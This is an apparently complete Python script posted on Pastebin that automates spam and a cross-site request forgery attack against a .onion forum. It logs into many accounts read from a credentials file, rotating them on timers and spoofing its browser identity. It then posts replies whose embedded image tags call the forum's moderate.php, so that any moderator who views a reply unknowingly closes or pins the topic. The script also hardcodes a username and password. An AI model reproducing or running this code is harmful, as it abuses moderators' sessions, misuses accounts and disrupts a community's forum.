Advertisement
Guest User

Untitled

a guest
Sep 3rd, 2018
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.70 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. from itertools import islice
  5. from threading import Thread
  6. from robobrowser import RoboBrowser
  7. import sys
  8. import requests
  9. import random
  10. import threading
  11. import time
  12. import uuid
  13. import re
  14.  
  15. url = "http://fdwocbsnity6vzwd.onion/"
  16.  
  17. messages = [
  18.     "[img]" + url + "moderate.php?fid={}&close={}[/img] [i]« Qui aime bien châtie bien » [/i]",
  19.     "[img]" + url + "moderate.php?fid={}&stick={}[/img] [i]« Qui aime bien châtie bien » [/i]"
  20. ]
  21.  
  22. browser = False
  23.  
  24. username = "BlackSpider"
  25. password = "123456789"
  26.  
  27. is_running = True
  28.  
  29. founds = {}
  30. timers = {}
  31. accounts = {}
  32.  
  33. forums_ids = [37, 8, 2, 4, 19, 33, 30, 5, 40, 21, 70, 82, 73, 83, 26, 61, 86, 85, 88, 95, 90, 93, 94]
  34.  
  35. class Spammer(Thread):
  36.  
  37.     def __init__(self):
  38.         Thread.__init__(self)
  39.  
  40.     def run(self):
  41.         global founds
  42.         global timers
  43.         global is_running
  44.         global accounts
  45.  
  46.         while is_running:
  47.  
  48.             browser = RoboBrowser(history=False, parser="html.parser")
  49.             browser.session.headers['User-Agent'] = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0"
  50.  
  51.             username = random.choice(list(accounts.items()))
  52.  
  53.             while username in timers and time.time() - timers[username[0]] < 120:
  54.                 username = random.choice(list(accounts.items()))
  55.  
  56.             if login(browser, username[0], username[1]):
  57.                 print ("Login ok : " + username[0] + ":" + username[1] + "\n")
  58.                 spam(browser)
  59.                 timers[username[0]] = time.time()
  60.                 with open('used.txt', 'a') as f:
  61.                     f.write(username[0] + "\n")
  62.                 continue
  63.             else:
  64.                 print ("Login fail : " + username[0] + ":" + username[1] + "\n")
  65.                 timers[username[0]] = time.time() + 100000
  66.                 continue
  67.  
  68.  
  69. def spam(browser):
  70.     global url
  71.     global messages
  72.     global forums_ids
  73.  
  74.     forum_id = random.choice(forums_ids)
  75.  
  76.     browser.open(url + "viewforum.php?id=" + str(forum_id) + "&p=" + str(random.randint(1, 10)))
  77.     rows = browser.select('tr.inew')
  78.  
  79.     for row in rows:
  80.  
  81.         topic = row.select('td.tcl a')[0]
  82.         topic_id = re.findall(r'\d+', topic.get('href'))[0]
  83.  
  84.         browser.follow_link(topic)
  85.         browser.session.headers['Referer'] = url + topic.get('href')
  86.         print (browser.session.headers['Referer'])
  87.         form = browser.get_form(id="quickpostform")
  88.         form['req_message'] = random.choice(messages).format(forum_id, topic_id)
  89.         submit_button = form['submit']
  90.         browser.submit_form(form, submit=submit_button)
  91.  
  92.         with open('file.html', 'w') as f:
  93.             f.write(str(browser.parsed))
  94.  
  95.  
  96. def login(browser, user, password):
  97.     browser.open(url + "login.php")
  98.     form = browser.get_form(id="login")
  99.     form['req_username'].value = user
  100.     form['req_password'].value = password
  101.     browser.submit_form(form)
  102.     return browser.find(id="navlogout") is not None
  103.  
  104.  
  105. def open_accounts():
  106.     global founds
  107.  
  108.     with open('accounts.txt', 'r') as f:
  109.         for line in f.readlines():
  110.             parts = line.strip().split(':')
  111.             accounts[parts[0]] = parts[1]
  112.  
  113. def main():
  114.     global is_running
  115.  
  116.     threads = []
  117.     nbr_threads = 5
  118.  
  119.     open_accounts()
  120.  
  121.     for i in range(nbr_threads):
  122.         t = Spammer()
  123.         threads.append(t)
  124.         t.start()
  125.  
  126.     while len(threads) > 0:
  127.         try:
  128.             threads = [t.join(1) for t in threads if t is not None and t.isAlive()]
  129.         except KeyboardInterrupt:
  130.             is_running = False
  131.             print ("Shutdown threads...")
  132.  
  133.  
  134. if __name__ == '__main__':
  135.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement